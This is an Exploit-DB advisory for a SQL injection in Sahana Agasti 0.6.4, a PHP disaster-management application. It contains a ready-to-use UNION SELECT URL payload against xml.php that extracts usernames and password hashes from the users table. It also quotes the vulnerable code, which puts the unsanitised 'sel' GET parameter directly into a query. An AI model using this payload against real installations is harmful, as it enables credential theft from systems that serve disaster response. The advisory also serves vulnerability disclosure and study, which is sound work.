Sahana Agasti 0.6.4 – SQL Injection

  • 作者： dun
    日期： 2011-01-01
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/15889/
  • :::::::-. ...::::::.:::.
 ;;, `';, ;; ;;;`;;;;,`;;;
 `[[ [[[[' [[[[[[[[. '[[
$$,$$$$$$$$$$ "Y$c$$
888_,o8P'88.d888888Y88
MMMMP"` "YmmMMMM""MMM YM
 
 [ Discovered by dun \ posdub[at]gmail.com ]

 ################################################################
 #[ Sahana Agasti <= 0.6.4 ]SQL Injection Vulnerability #
 ################################################################
 #
 # Script: "Agasti is the PHP based project of the Sahana Software Foundation. 
 #Based a long-term preparedness for disaster management..."
 #
 # Script site: http://www.sahanafoundation.org/
 # Download: https://launchpad.net/sahana-agasti/
 #
 # [SQL] Vuln: 
 # http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users
 #
 #
 # Bug: ./sahana-0.6.4/www/xml.php (lines: 17-21, 200-223)
 #
 # ...
 # $act=$_GET{"act"};//
 # 
 # if($act=='add_loc') // (1)
 # {
 # _shn_get_level_location();//
 # ...
 # 
 # function _shn_get_level_location(){
 # require_once('../3rd/adodb/adodb.inc.php');
 # require_once('../conf/sysconf.inc.php');
 # //Make the connection to $global['db']
 # $db = NewADOConnection($conf['db_engine']);
 #$db ->Connect($conf['db_host'].($conf['db_port']?':'.$conf['db_port']:''),$conf['db_user'],$conf['db_pass'],$conf['db_name']);
 # 
 # 
 # $level=$_GET{"sel"};// (2)
 # if($level==1){
 # echo "none,";
 # }
 # $q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}";// (3) SQL
 # $res_child=$db->Execute($q);
 # if($res_child->EOF)
 # return;
 # while(!$res_child->EOF){
 # $res=$res.",".$res_child->fields[1];
 # $res=$res.",".$res_child->fields[0];
 #$res_child->MoveNext();
 #}
 # echo $res;// (4)
 # }
 # ...
 # 
 # 
 ###############################################

 
 [ dun / 2011-01-01 ]